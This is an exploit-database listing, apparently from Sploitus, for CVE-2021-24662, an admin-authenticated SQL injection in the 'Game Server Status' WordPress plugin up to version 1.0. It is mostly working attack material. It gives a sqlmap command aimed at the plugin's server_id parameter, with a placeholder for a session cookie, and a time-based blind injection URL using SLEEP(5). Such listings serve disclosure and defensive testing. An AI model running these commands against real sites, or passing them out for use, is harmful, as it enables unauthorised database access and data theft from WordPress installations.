Exploit for Game Server Status <= 1.0 - Admin+ SQL Injection CVE-2021-24662

Name: Exploit for Game Server Status <= 1.0 - Admin+ SQL Injection CVE-2021-24662
Rating: 5 (258 reviews)

2021-09-21 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:8A74A2A0-3D8C-427F-9A83-0160D652C5F0
sqlmap -u "https://example.com/wp-admin/admin.php?page=grohsfabian-add-game-servers&server_id=1" -p server_id --dbms mysql --cookie [your cookie]

https://example.com/wp-admin/admin.php?page=grohsfabian-add-game-servers&server_id=1+OR+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)